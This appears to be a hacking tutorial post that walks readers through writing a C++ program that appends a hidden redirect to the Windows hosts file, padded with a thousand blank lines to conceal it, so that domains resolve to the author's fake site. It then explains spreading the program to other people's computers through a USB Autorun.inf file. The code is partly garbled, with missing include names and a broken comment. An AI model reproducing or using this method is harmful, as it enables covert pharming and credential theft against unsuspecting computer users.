Ready to Start Your Career?

Write a program to substitute hosts (with ++)

Dra4hos7 's profile image

By: Dra4hos7

March 7, 2019

We write the program for substitution of hosts (with ++)For a start, a little bit of information from google what is itQuote:hosts - a text file containing a database of domain names and used when translating them into the network addresses of nodes. This file takes precedence over DNS servers. Unlike DNS, the contents of the file are controlled by the administrator of the computer.tobish we will replace the dns server. for this we need a hosting with a dedicated ip.(hereinafter we will put a fake on our site on the hosting)and so we went to the writing of the program itself.Open C ++. Click File - Create, Source File. A blank sheet appears. Start writing code.Quote:#include // standard input / output stream.#include // for working with filesusing namespace std; // use the default namespace main () {/ * is the main function. It does not return anything, but the type of the main function can only be an int. void is impossible. * /freopen ("C: / WINDOWS / system32 / drivers / etc / hosts", "at", stdout); / * here we are redirecting iostream to fstream with a record key. * /unsigned int a = 0; // create a variable counter.while (a <= 1000) {// create a loopa ++; // which fills the hosts filecout << " n"; // thousand empty lines}cout << ""; // this is the redirect string}cout << ""; - here we change the type address to your fake ..So. Now we have the code, it needs to be compiled. Click Run - Compile. Now in the folder that we specified there is an exe file. If you run it, then your hosts file will be added.We create autostart of a virus through the USB stick.To do this, transfer the resulting program to your flash drive. Next, create an Autorun.inf file on a flash drive.Open it with a notebook and write.Quote:[AutoRun]shellexecute = program_nameAction = what_will_script_d_auto startIcon = IconLabel = flashfly nameEverything is ready) now when we insert the USB flash drive into someone's computer, our program will open, change the hosts file and close.
Schedule Demo